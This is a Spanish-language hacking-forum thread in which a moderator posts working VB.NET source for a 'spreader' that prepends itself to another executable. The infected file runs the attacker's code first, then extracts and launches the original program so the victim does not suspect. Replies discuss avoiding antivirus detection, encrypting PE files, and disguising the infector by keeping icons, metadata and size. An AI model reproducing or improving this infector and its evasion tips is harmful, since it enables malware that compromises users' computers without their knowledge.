Autor
|
Tema: [Spreader] Infectar ejecutables VB.NET (Leído 12,259 veces)
|
kub0x
Enlightenment Seeker
Moderador
Desconectado
Mensajes: 1.486
S3C M4NI4C
|
Qué tal andamos? Bueno, hace días que llevo programando una cosilla (bla bla) y necesitaba que mi código se ejecutara en otros procesos, para ello agrego mi código al principio de un nuevo ejecutable y después el del archivo a infectar. Hasta ahí bien, pero ¿qué sucede si la víctima abre el archivo infectado? ¿Estará corrupto? Nada de eso, se ejecutará mi código. El original seguirá en el ejecutable infectado pero no correrá. Como al inicio de la aplicación comprobamos si existe la firma en el archivo infectado miramos si es así entonces abrimos el archivo infectado y llenamos un Buffer con los datos de éste. Después, como sabemos la longitud de los datos de nuestro programa, en función de ésta seremos capaces de extraer los bytes de la aplicación original. Funciona a la perfección. Me gustaría que me dierais vuestra opinión, no estaría de más mejorar el código. Private Sub Infectar_EXE(ByVal Rutas As Object()) Try Dim Ruta_Archivo As String = CType(Rutas(0), String) 'declaramos las rutas.. Dim RutaHost As String = CType(Rutas(1), String) Dim fs As New FileStream(Ruta_Archivo, FileMode.Open, FileAccess.Read) 'abrimos nuestra copia Dim size As Long = fs.Length 'obtenemos los datos de nuestra copia Dim Buffer(size) As Byte 'declaramos un Buffer que tendrá como tamaño los datos de nuestra copia Dim firma As Byte() = Encoding.Default.GetBytes("Firma") 'Preparamos la firma para escribirla/buscarla en el Buffer fs.Read(Buffer, 0, Buffer.Length) 'escribimos en el Buffer actual los datos de la copia fs.Close() Kill(Ruta_Archivo) 'eliminamos la copia fs = New FileStream(RutaHost, FileMode.Open, FileAccess.Read) 'apuntamos al archivo que se generará.. size += (fs.Length) 'obtenemos el nuevo tamaño para el Buffer (longitud de los datos de nuestro progama + long. datos del programa Host) Dim offset As Long = size - fs.Length 'obtenemos los datos de la copia (Repetido pero necesario) If IndexOf(Buffer, firma) = -1 Then 'Si la Firma NO ESTÁ en la copia... Array.Resize(Buffer, size) 'Modificamos el tamaño del Buffer en función de la variable Size fs.Read(Buffer, offset, fs.Length) 'Llenamos el Buffer fs.Close() Kill(RutaHost) 'Eliminamos el archivo fs = New FileStream(RutaHost, FileMode.Create, FileAccess.Write) fs.Write(Buffer, 0, Buffer.Length) 'Guardamos un nuevo archivo que será el nuestro Infectado fs.Write(firma, 0, firma.Length) 'Le añadimos la Firma al final fs.Close() Else 'Como hemos encontrado la Firma entonces.. fs.Close() Ejecutar_Hostage(RutaHost, Buffer, 17920, Buffer.Length - 17920) 'Generamos el archivo Original y lo ejecutamos End If Catch ex As Exception MsgBox(ex.Message) End Try End Sub Private Sub Ejecutar_Hostage(ByVal RutaHost As String, ByVal Buffer As Byte(), ByVal offset As Long, ByVal Count As Int32) Dim copia_temporal As New FileStream("C:\temporal.exe", FileMode.Create, FileAccess.Write) copia_temporal.Write(Buffer, offset, Count) copia_temporal.Close() If Not Process.GetCurrentProcess.MainModule.FileName.Contains("Infectar Ejecutables") Then 'Si el nombre del Archivo que se ha ejecutado 'es distinto del que usamos para la infección Process.Start("C:\temporal.exe") End If End Sub Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load FileSystem.FileCopy(Process.GetCurrentProcess.MainModule.FileName, "C:\copia.exe") 'nos copiamos en C:\ Dim Obj() As Object = {"C:\copia.exe", "C:\archivo.exe"} 'inicio un array que contendra las rutas de los archivos Dim ThreadInfectar As New Thread(AddressOf Infectar_EXE) ThreadInfectar.Start(Obj) 'iniciamos un nuevo hilo pasandole las rutas End Sub Private Function IndexOf(BuscarEnArray As Byte(), EncotrarBytes As Byte()) As Integer 'buscamos en el Buffer la Firma Dim encoding__1 As Encoding = Encoding.GetEncoding(1252) Dim buscar As String = encoding__1.GetString(BuscarEnArray, 0, BuscarEnArray.Length) Dim encontrar As String = encoding__1.GetString(EncotrarBytes, 0, EncotrarBytes.Length) Dim result As Integer = buscar.IndexOf(encontrar, StringComparison.Ordinal) Return result End Function
Poco tiene esto de Spreader, pero eso ya me lo guardo para mí jejeje. Saludos.
|
|
« Última modificación: 30 Abril 2012, 20:26 pm por kub0x »
|
En línea
|
|
|
|
$Edu$
Desconectado
Mensajes: 1.842
|
Me vas a matar que nunca entiendo nada jaja pero no entiendo bien que hace.
Se copia a C:\copia.exe, saca los datos y lo mete en C:\archivo.exe, y luego si ejecutan archivo.exe se ejecuta la ultima parte, es decir el archivo.exe original :/ no entiendo bien, explicame si queres xD
|
|
|
En línea
|
|
|
|
kub0x
Enlightenment Seeker
Moderador
Desconectado
Mensajes: 1.486
S3C M4NI4C
|
No vas mal encaminado Se autocopia la aplicación bajo Copia.exe para asi extraer los datos de nuestra aplicación. Luego abro archivo.exe que es el ejecutable a infectar, saco sus datos y los guardo en el array donde están los datos de nuestra aplicación. Entonces ya tenemos un array con los datos de ambas aplicaciones.. Le meto una Firma y creo el nuevo archivo bajo el nombre archivo.exe (el mismo que el del ejecutable anterior, para que la victima no sospeche). Luego si el ejecutable tiene la Firma, entonces extraigo el ejecutable original temporalmente, así el usuario ejecuta nuestro código y el archivo original, para no levantar sospechas. Saludos.
|
|
|
En línea
|
|
|
|
$Edu$
Desconectado
Mensajes: 1.842
|
Y donde iria nuestro codigo? en Ejecutar_Hostage? podrias comentar eso, poniendo ' aca el codigo nuestro xD Y fijate que te equivocaste en el comentario de Si existe la firma o si no existe, eso me hizo confundir tambien xD
if ... "Si la firma esta en la copia.."
else "Como hemos encontrado la firma"
El primero es ' Si la firma NO esta en la copia, creo por lo menos, si tengo razon ya entendi y ya he hecho cosas de estas, solo que .net lo hace todo mas facil, queda lindo xD Saludos
|
|
« Última modificación: 30 Abril 2012, 17:25 pm por $Edu$ »
|
En línea
|
|
|
|
Maurice_Lupin
Desconectado
Mensajes: 356
GPS
|
Como no utilizo antivirus, me pregunto, lo detecta algún antivirus? P.D : Estoy averiguando como cifrar el formato PE de los .exe de .net, para seguridad e impedir q sean detectables, si alguien tiene algun link o info q compartir, gracias. Saludos.
|
|
|
En línea
|
Un error se comete al equivocarse.
|
|
|
kub0x
Enlightenment Seeker
Moderador
Desconectado
Mensajes: 1.486
S3C M4NI4C
|
Y donde iria nuestro codigo? en Ejecutar_Hostage? podrias comentar eso, poniendo ' aca el codigo nuestro xD Y fijate que te equivocaste en el comentario de Si existe la firma o si no existe, eso me hizo confundir tambien xD
if ... "Si la firma esta en la copia.."
else "Como hemos encontrado la firma"
El primero es ' Si la firma NO esta en la copia, creo por lo menos, si tengo razon ya entendi y ya he hecho cosas de estas, solo que .net lo hace todo mas facil, queda lindo xD Saludos
Gracias por fijarte, tienes razon en lo de la sentencia condicional:D El método Ejecutar_Hostage lo que hace es sacar el código de la aplicación original de la aplicación infectada. No sé si me explico a horrores, pero si es así recuerdamelo jajajaj. Como no utilizo antivirus, me pregunto, lo detecta algún antivirus? P.D : Estoy averiguando como cifrar el formato PE de los .exe de .net, para seguridad e impedir q sean detectables, si alguien tiene algun link o info q compartir, gracias. Saludos. El mío desde luego no, espero que dure tiempo sin ser "cazado". Por cierto, ¿podrias comentar algo sobre lo que estas buscando de cifrar el formato PE? Saludos!
|
|
« Última modificación: 30 Abril 2012, 22:28 pm por kub0x »
|
En línea
|
|
|
|
$Edu$
Desconectado
Mensajes: 1.842
|
Si, desde Ejecutar_Hostage se ejecuta la aplicacion original si, pero la gracia es que ahi tambien se ejecute el codigo malicioso que pongamos no? sino cuando?
|
|
|
En línea
|
|
|
|
kub0x
Enlightenment Seeker
Moderador
Desconectado
Mensajes: 1.486
S3C M4NI4C
|
Me cito a mi mismo: Hasta ahí bien, pero ¿qué sucede si la víctima abre el archivo infectado? ¿Estará corrupto? Nada de eso, se ejecutará mi código. El original seguirá en el ejecutable infectado pero no correrá.
Es decir, el usuario abre el archivo infectado y lo que se ejecuta es nuestro código. Luego después como el método Ejecutar_Hostage está dentro de nuestro código, pues éste crea la aplicación original mediante la extracción de "n" datos. Saludos.
|
|
|
En línea
|
|
|
|
Keyen Night
Desconectado
Mensajes: 496
Nothing
|
Está bien como un ejercicio de práctica En la práctica, si no corre el código del huésped. No sería más fácil colocar nuestro código primero y luego relleno hasta equiparar el tamaño del ejecutable original, manteniendo las propiedades del archivo (Iconos y propiedades generales: como descripción, compañía, versión, etc.) y el TimeSpan intacto, tratando de que el código infeccioso pese lo menos posible, o en un caso más avanzado empacando nuestro código con las clases de compresión que brinda .Net y un modulo que sea capaz de descomprimir y ejecutar el código en tiempo de ejecución. Otra cosa, te diré un truco por hay en C++ creando una aplicación de Windows puedes borrar el código generado por el compilador para colocar tu código y se ejecutara sin ventanas de ningún tipo, en .Net también se puede hacer esto pero hay que seguir otros pasos, crea un proyecto de Console, te vas a las Propiedades del Proyecto y a la pestaña Aplicación donde colocaras Tipo de Aplicación: Aplicación de Windows Forms, y en la propiedad Objeto de Inicio: Sub Main, de está manera puedes crear un ejecutable que solo contenga el código sin más estorbos como la Consola o Windows Forms, finalmente una vez que lo generes puedes ahorrar algo de espacio usando alguna utilidad como ResourcesHack para borrar el icono, te digo esto porqué así ahorras mucho espacio que es algo critico a la hora de realizar procedimientos de este tipo. Espero que lo tomes ha bien lo digo porqué hay gente que se ofende cuando uno habla mucho jajajajajajaja por el contrario si le dedique tiempo ha escribir este testamento es porqué me llamaron la atención tus intereses...
|
|
« Última modificación: 30 Abril 2012, 22:51 pm por Keyen Night »
|
En línea
|
La Fé Mueve Montañas... ...De Dinero
La programación es más que un trabajo es más que un hobby es una pasión...
|
|
|
$Edu$
Desconectado
Mensajes: 1.842
|
Me cito a mi mismo: Es decir, el usuario abre el archivo infectado y lo que se ejecuta es nuestro código. Luego después como el método Ejecutar_Hostage está dentro de nuestro código, pues éste crea la aplicación original mediante la extracción de "n" datos.
Saludos.
Pero cual es "nuestro codigo" donde lo ponemos? no puedo hacer pruebas porque no tengo el Visual Studio. Si ejecutamos este spreader.exe ya compilado no hara nada, ponele un ejemplo de un MessageBox que diga "Infectado" asi veo donde va el codigo que te digo, porque por ahora solo infecta pero no hace nada, no se si me entendes.
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Simple 'WLM' Spreader
Programación Visual Basic
|
illuminat3d
|
2
|
2,670
|
18 Noviembre 2009, 18:05 pm
por illuminat3d
|
|
|
[Source] Kryptonite Spreader Version InfrAngeluX
Programación Visual Basic
|
BlackZeroX
|
2
|
2,378
|
15 Diciembre 2009, 21:59 pm
por BlackZeroX
|
|
|
Spreader Facebook.
Ingeniería Inversa
|
Elemental Code
|
1
|
5,861
|
21 Diciembre 2010, 02:26 am
por MCKSys Argentina
|
|
|
Spreader en pascal[APORTE]
Programación General
|
WarZ0n3
|
0
|
2,396
|
15 Abril 2013, 00:10 am
por WarZ0n3
|
|
|
Spreader Crypter [USB Inf3ct] ByRoda
Criptografía
|
Roda
|
2
|
3,814
|
10 Junio 2015, 00:13 am
por Roda
|
|